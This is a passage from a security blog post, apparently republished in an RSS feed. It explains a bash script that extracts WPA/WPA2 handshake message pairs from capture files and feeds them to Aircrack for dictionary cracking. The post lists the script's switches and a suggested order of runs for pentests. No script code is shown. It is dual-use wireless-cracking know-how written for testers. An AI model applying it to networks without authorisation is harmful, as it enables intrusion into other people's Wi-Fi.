--help extra help</code></p>
<p>William is a bash script. If I&#8217;d known how it would turn out, I would have chosen another programming route, but never mind, it still works as a proof of concept. Let me explain how it works, which in turn will explain what the switches do. Here&#8217;s a messy capture file from attempts to crack the WPA2 key of a client using Airbase as a rogue access point. (In my experiments, using Airbase against clients as opposed to sniffing legitimate 4-way handshakes tended to make noisier capture files.) As a client-side attack, only the first 2 of the 4 messages in the 4-way handshake were captured (but that&#8217;s enough for Aircrack to work on):</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2013/04/ss1.png"><img class="alignnone size-full wp-image-15" alt="ss1" src="http://www.exploresecurity.com/wp-content/uploads/2013/04/ss1.png" width="932" height="504" /></a></p>
<p>The first EAPOL frame is selected, which Wireshark informs us is the first of the 4 messages in the 4-way handshake. Note the &#8220;WPA Key Nonce&#8221; value. Now let&#8217;s move to the second EAPOL frame:</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2013/04/ss2.png"><img class="alignnone size-full wp-image-16" alt="ss2" src="http://www.exploresecurity.com/wp-content/uploads/2013/04/ss2.png" width="932" height="502" /></a></p>
<p>The &#8220;WPA Key Nonce&#8221; is exactly the same. So the packet was either transmitted twice or recorded twice, which can happen when you&#8217;re sniffing on an interface that&#8217;s also engaged in active testing. Let&#8217;s move to the third EAPOL frame:</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2013/04/ss3.png"><img class="alignnone size-full wp-image-17" alt="ss3" src="http://www.exploresecurity.com/wp-content/uploads/2013/04/ss3.png" width="939" height="503" /></a></p>
<p>Now the &#8220;WPA Key Nonce&#8221; is different, so this constitutes a second attempt at sending a first handshake message. Now let&#8217;s look at the first instance of a second message in the 4-way handshake:</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2013/04/ss4.png"><img class="alignnone size-full wp-image-18" alt="ss4" src="http://www.exploresecurity.com/wp-content/uploads/2013/04/ss4.png" width="931" height="498" /></a></p>
<p>It turns out that there have been 14 unique first packets sent up to this point so the question is, which of them does this second message correspond to? Park that problem for now and note the &#8220;WPA Key MIC&#8221; value above instead. Let&#8217;s move to the next second message:</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2013/04/ss5.png"><img class="alignnone size-full wp-image-19" alt="ss5" src="http://www.exploresecurity.com/wp-content/uploads/2013/04/ss5.png" width="937" height="499" /></a></p>
<p>It&#8217;s apparently the same &#8211; no surprise, given what we saw earlier. But it turns out the third instance of the second handshake message is the same too.  And so is the fourth, the fifth, the sixth&#8230;When all these first and second handshake messages are mixed up, it&#8217;s no wonder that Aircrack can sometimes produce false negatives. When I ran wpaclean it picked the 14th (i.e. the last) first message and the 1st second message. In other words it picks the first instance of a second message and works backwards to pick the first handshake message. Perfectly reasonable &#8211; but in this particular case Aircrack failed to find the passphrase from this pairing. Like Aircrack, wpaclean&#8217;s logic is fixed, so I wrote William to give you more options. The default is that it works just like wpaclean, as there&#8217;s nothing wrong with its logic. If you use the -f switch, however, William picks the first handshake message by working <em>forwards</em> from the start of the capture.</p>
<p>The n and m switches give you the freedom to try out your own pairings. If you run William with a single number 2 (i.e. <code>william.sh &lt;out_file&gt; &lt;in_file&gt; 2</code>) it picks the 2nd instance of a second handshake message and works backwards to find the first handshake message. The second message is always counted forwards from the start of the capture file. If you run William with the numbers 2 4, it picks the 4th first handshake message working backwards from the 2nd instance of a second handshake message. Adding -f to this would count the 4th first message from the start of the capture file. The &#8211;help switch gives more examples.</p>
<p>If you think about it, the second message of the handshake must correspond to one of the first messages that preceded it (assuming the capture is complete). So William informs you of how many unique first messages there were as a guide. If you select the -a option, William will generate capture files that pair the chosen second message with all the preceding first messages (working backwards from the second message), each file containing a different pairing. This brute-force method should succeed, assuming the passphrase is in your dictionary, but it will be more time-consuming.</p>
<p>AUTOMATED AIRCRACK</p>
<p>If you use the -A switch followed by the path to a dictionary file, William will run all output files through Aircrack automatically. It&#8217;s especially worth running this with -a because William will run Aircrack as the message pairs are written to file, so you may find the passphrase without having to wait for all the combinations to be generated. A successful screenshot follows:</p>
<p><a href="http://www.exploresecurity.com/wp-content/uploads/2013/04/ss6.png"><img class="alignnone size-full wp-image-20" alt="ss6" src="http://www.exploresecurity.com/wp-content/uploads/2013/04/ss6.png" width="747" height="353" /></a></p>
<p>DUPLICATES</p>
<p>As noted above, it&#8217;s possible that your capture file contains duplicate messages. By default, duplicates are ignored when counting the packet positions. If you use the -d option, duplicates are not ignored, i.e. the nth first packet and mth second packet are counted based entirely on their order of appearance in the file. As before, the second message is always counted forwards from the start of the capture file and the direction in which the first message is counted is set by the presence or absence of -f. The -d option won&#8217;t have much practical effect, it&#8217;s really just for experimentation.</p>
<p>THE NEED FOR A CORRECT SSID</p>
<p>When Aircrack parses a capture file, it first looks for the SSID of the network(s) whose traffic has been sniffed, and if it doesn&#8217;t find any it gives up. Why? Because the SSID is used with the passphrase to generate the Pairwaise Master Key. So even if you have the correct first and second handshake packets, without the correct SSID Aircrack will fail. William looks for packets that disclose the SSID based on the BSSID of the chosen second EAPOL message. If for some reason you&#8217;re unlucky enough to miss this, the script will ask you for a SSID and create a fake probe response packet to satisfy Aircrack.</p>
<p>INPUT</p>
<p>Multiple input files can be specified. If you&#8217;ve used Airodump with &#8211;write wpa, for example, it&#8217;s best to run William with the input wpa*.cap.</p>
<p>OUTPUT</p>
<p>The output file is the first parameter. If the -a switch has been used, the output filenames include a number to distinguish them. The number is an ordinal reflecting the position of the first message in the capture file so, as William works backwards from the second message, the number starts high and counts down to 1.</p>
<p>THE REAL WORLD</p>
<p>On a pentest job, outside the comfort of a known test environment, if Aircrack tells you the password isn&#8217;t in the dictionary, you have to believe it. Hopefully this posting will give you a few more ideas and you may want to run a few iterations of William just in case. I would suggest the following order, using <code>-A &lt;dictionary_file&gt;</code> each time:</p>
<ol>
<li><span style="line-height: 1.714285714; font-size: 1rem;">Try REVERSE mode to mimic wpaclean (default, don&#8217;t specify -f or -a)</span></li>
<li><span style="line-height: 1.714285714; font-size: 1rem;">Try FORWARD mode with -f</span></li>
<li><span style="line-height: 1.714285714; font-size: 1rem;">Run ALL mode with -a</span></li>
</ol>
<p>DOWNLOAD</p>
<p><a href="/wp-content/uploads/custom/william.sh">Download v.0.1</a></p>
<p>NODS</p>
<p>This script is an extension of wpaclean and owes everything to the fantastic Wireshark command-line toolset, specifically tshark, mergecap and text2pcap.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.exploresecurity.com/william-wpawpa2-4-way-handshake-extraction-script/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
	</channel>
</rss>
